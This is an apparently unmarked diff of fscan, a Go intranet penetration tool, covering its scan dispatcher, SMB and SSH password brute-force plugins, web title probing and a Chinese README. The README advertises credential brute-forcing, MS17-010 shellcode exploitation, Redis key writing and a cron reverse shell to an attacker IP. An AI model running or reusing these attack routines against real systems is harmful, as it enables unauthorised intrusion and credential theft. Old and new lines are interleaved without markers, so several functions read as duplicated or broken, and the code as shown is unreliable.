case info.Ports == "9000":
AddScan(info.Ports, info, ch, &wg) //fcgiscan
AddScan("1000003", info, ch, &wg) //http
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, ch, &wg) //plugins scan
default:
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
port, _ := common.PORTList[common.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
}
for _, url := range common.Urls {
info.Url = url
AddScan("1000003", info, ch, &wg)
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(PluginList, scantype, &info)
Mutex.Lock()
common.End += 1
Mutex.Unlock()
<-ch
wg.Done()
}()
ch <- struct{}{}
}
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted ")
fmt.Println(err.Error())
return result, nil
err = errors.New("The number of infos is not adapted.")
if err != nil {
fmt.Println(err.Error())
// //os.Exit(0)
}
}
in := make([]reflect.Value, len(infos))
for k, info := range infos {
in[k] = reflect.ValueOf(info)
}
result = f.Call(in)
return result, nil
return result,nil
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
@@ -123,3 +33,55 @@ func IsContain(items []string, item string) bool {
}
return false
}
func Scan(info *common.HostInfo) {
Hosts,_ := common.ParseIP(info.Host)
if info.Isping == false{
Hosts = ICMPRun(Hosts)
}
_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"}
for _,port:=range common.PORTList{
severports = append(severports,strconv.Itoa(port))
}
severports1 := []string{"1521"}
var ch = make(chan int,info.Threads)
var wg = sync.WaitGroup{}
var scantype string
for _,targetIP :=range AlivePorts{
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
info.Host = scan_ip
if info.Scantype == "all"{
if IsContain(severports,scan_port){
//scantype = scan_port
AddScan(scan_port,info,ch,&wg)
}else {
if !IsContain(severports1,scan_port){
info.Url = fmt.Sprintf("http://%s",targetIP)
wg.Add(1)
go WebTitle(info,ch,&wg) //go scan_func(PluginList,"WebTitle",info,ch,&wg)
ch <- 1
}
}
if scan_port == "445"{
AddScan("1000001",info,ch,&wg)
AddScan("1000002",info,ch,&wg)
}
}else {
port,_:=common.PORTList[info.Scantype]
scantype = strconv.Itoa(port)
AddScan(scantype,info,ch,&wg)
//wg.Add(1)
//go scan_func(PluginList,scantype,info,ch,&wg)
//ch <- 1
}
}
wg.Wait()
}
func AddScan(scantype string,info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
wg.Add(1)
go scan_func(PluginList,scantype,info,ch,wg)
ch <- 1
}
+39 -45
View File
@@ -1,81 +1,75 @@
package Plugins
import (
"errors"
"../common"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"sync"
"time"
"context"
)
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
func SmbScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
Loop:
for _,user:=range common.Userdict["smb"]{
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string(user), -1)
//fmt.Println(user,pass)
//flag,err := SmblConn(info,user,pass)
flag,err := doWithTimeOut(info,user,pass)
//fmt.Println(user,pass,flag,err)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
flag = false
Host, Username, Password := info.Host, user, pass
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
options := smb.Options{
Host: Host,
Port: 445,
User: Username,
Password: Password,
Domain: common.Domain,
Domain: "",
Workstation: "",
Timeout: info.Timeout,
}
session, err := smb.NewSession(options, false)
//fmt.Println(err)
if err == nil {
session.Close()
defer session.Close()
if session.IsAuthenticated {
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
common.LogSuccess(result)
flag = true
}
}
signal <- struct{}{}
return flag, err
return flag,err
}
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
//ctx,cancel := context.WithTimeout(context.Background(),1*time.Second)
defer cancel()
signal := make(chan int,1)
go func() {
flag, err = SmblConn(info, user, pass, signal)
flag,err = SmblConn(info,user,pass)
signal <- 1
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(common.Timeout) * time.Second):
return false, errors.New("time out")
return flag,err
case <-ctx.Done():
return false,err
}
}
}
+34 -63
View File
@@ -1,68 +1,46 @@
package Plugins
import (
"errors"
"../common"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"sync"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if common.SshKey != "" {
return err
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
//SshConn(info,"oracle","oracle",ch,wg)
Loop:
for _,user:=range common.Userdict["ssh"]{
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string(user), -1)
//wg.Add(1)
//var good bool
//go SshConn(info,user,pass,ch,wg)
//if good == true{
// break Loop
//}
flag,err := SshConn(info,user,pass,ch,wg)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
Auth := []ssh.AuthMethod{}
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, errors.New("parse key failed" + err.Error())
}
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
Auth = []ssh.AuthMethod{ssh.Password(Password)}
}
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
//fmt.Println(Host,Port,Username,Password)
config := &ssh.ClientConfig{
User: Username,
Auth: Auth,
Timeout: time.Duration(common.Timeout) * time.Second,
User: Username,
Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
Timeout: time.Duration(info.Timeout)*time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
@@ -72,26 +50,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
if err == nil {
defer client.Close()
session, err := client.NewSession()
if err == nil {
if err == nil { //if err == nil && errRet == nil {
defer session.Close()
flag = true
var result string
if common.Command != "" {
combo, _ := session.CombinedOutput(common.Command)
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
}
if info.Command != ""{
combo,_ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
common.LogSuccess(result)
} else {
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
}
}else {
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
common.LogSuccess(result)
}
}
}
return flag, err
return flag,err
}
+62 -220
View File
@@ -1,242 +1,84 @@
package Plugins
import (
"compress/gzip"
"crypto/tls"
"../common"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/text/encoding/simplifiedchinese"
"io"
"io/ioutil"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
"unicode/utf8"
)
func WebTitle(info *common.HostInfo) error {
err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
if common.IsWebCan == false && common.IsBrute == false && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
return err
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
err,result = geturl(info)
wg.Done()
<-ch
return err, result
}
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
if info.Url == "" {
switch info.Ports {
case "80":
info.Url = fmt.Sprintf("http://%s", info.Host)
case "443":
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
//有跳转
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
//有跳转
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
func geturl(info *common.HostInfo) (err error, result string) {
url := info.Url
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
res,err:=http.NewRequest("GET",url,nil)
if err==nil{
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept","*/*")
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding","gzip, deflate")
res.Header.Add("Connection","close")
resp,err:=client.Do(res)
if err==nil{
defer resp.Body.Close()
var title string
body, _ := ioutil.ReadAll(resp.Body)
re :=regexp.MustCompile("<title>(.*)</title>")
find := re.FindAllStringSubmatch(string(body),-1)
if len(find) > 1{
title = find[0][1]
}else {
title = "None"
}
}
}
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return
}
return
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
//flag 4 400 -> https
Url := info.Url
if flag == 2 {
URL, err := url.Parse(Url)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
}
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return err, "", CheckData
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
req.Header.Set("Cookie", common.Cookie)
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
} else {
client = lib.Client
}
resp, err := client.Do(req)
if err != nil {
return err, "https", CheckData
}
defer resp.Body.Close()
var title string
body, err := getRespBody(resp)
if err != nil {
return err, "https", CheckData
}
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
var reurl string
if flag != 2 {
title = gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
}
result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl)
}
common.LogSuccess(result)
}
if reurl != "" {
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
return nil, "https", CheckData
}
return nil, "", CheckData
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
return nil, err
if len(title) > 20{
title = title[:20]
}
if n == 0 {
break
if resp.StatusCode == 400 && string(url[5]) != "https"{
info.Url = strings.Replace(url, "http://", "https://", 1)
return geturl(info)
}else {
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
common.LogSuccess(result)
}
body = append(body, buf...)
return err, result
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
body = raw
}
return body, nil
}
return err, ""
func gettitle(body []byte) (title string) {
re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
title = strings.TrimSpace(title)
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
if len(title) > 100 {
title = title[:100]
}
}
if title == "" {
title = "None"
}
return
//fmt.Print("\n")
}
//var client = &http.Client{
// Transport:&http.Transport{
// DialContext:(&net.Dialer{
// Timeout:time.Duration(info.Timeout)*time.Second,
// }).DialContext,
// },
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
// return http.ErrUseLastResponse
// },
//}
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
//如果端口是80或443,跳过Protocol判断
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
return
}
conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true})
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
common.LogError(err)
}
}()
conn.Close()
}
}()
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https"
}
return protocol
}
//if info.Cookie!=""{
// res.Header.Add("Cookie",info.Cookie)
//}
//if info.Header!=""{
// var header = make(map[string]string)
// err:=json.Unmarshal([]byte(info.Header),&header)
// if err!=nil{
// Misc.CheckErr(err)
// }
// for k,v:=range header{
// res.Header.Add(k,v)
// }
//}
+36 -188
View File
@@ -1,235 +1,83 @@
# fscan
# 1. 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
# 简介
一款内网扫描工具,方便一键大保健。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写钥、计划任务反弹shell、读取win网卡信息等。
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
还在逐步增加功能,欢迎各位师傅提意见。
# 2. 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
2.爆破功能:
* 各类服务爆破(ssh、smb、rdp等)
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
## why
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
3.系统信息、漏洞扫描:
* netbios探测、域控识别
* 获取目标网卡信息
* 高危漏洞扫描(ms17010等)
答:
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
4.Web探测功能:
* webtitle探测
* web指纹识别(常见cms、oa框架等)
* web漏洞扫描(weblogic、st2等,支持xray的poc)
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
* ms17017利用(植入shellcode),如添加用户等
6.其他功能:
* 文件保存
# 3. 使用说明
## usege
简单用法
```
go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
```
其他用法
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
```
编译命令
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
```
完整参数
```
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
exec command (ssh)
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-m string
设置扫描模式: -m ssh (default "all")
Select scan type ,as: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
not to save output log
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
not to ping
-o string
扫描结果保存到哪 (default "result.txt")
Outputfile (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
-pwd string
指定爆破时的密码
password
-pwdf string
指定爆破时的密码文件
password file
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int
扫描线程 (default 600)
Thread nums (default 100)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
Set timeout (default 3)
-user string
username
-userf string
username file
```
# 4. 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
`fscan.exe -h 192.168.x.x`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
# 5. 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
`fscan.exe -h 192.168.x.x (ms17010、读取网卡信息)`
![](image/4.png)
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 9. 参考链接
## 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. 最近更新
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
[+] 2022/1/11 新增oracle密码爆破
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量.
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等
[+] 2021/4/22 修改webtitle模块,加入gbk解码
[+] 2021/4/21 加入netbios探测、域控识别
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理
https://github.com/k8gege/LadonGo
-69
View File
@@ -1,69 +0,0 @@
package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
)
type CheckDatas struct {
Body []byte
Headers string
}
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
var matched bool
var infoname []string
for _, data := range *CheckData {
for _, rule := range info.RuleDatas {
if rule.Type == "code" {
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
} else {
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
}
if matched == true {
infoname = append(infoname, rule.Name)
}
}
//flag, name := CalcMd5(data.Body)
//if flag == true {
// infoname = append(infoname, name)
//}
}
infoname = removeDuplicateElement(infoname)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
common.LogSuccess(result)
return infoname
}
return []string{""}
}
func CalcMd5(Body []byte) (bool, string) {
has := md5.Sum(Body)
md5str := fmt.Sprintf("%x", has)
for _, md5data := range info.Md5Datas {
if md5str == md5data.Md5Str {
return true, md5data.Name
}
}
return false, ""
}
func removeDuplicateElement(languages []string) []string {
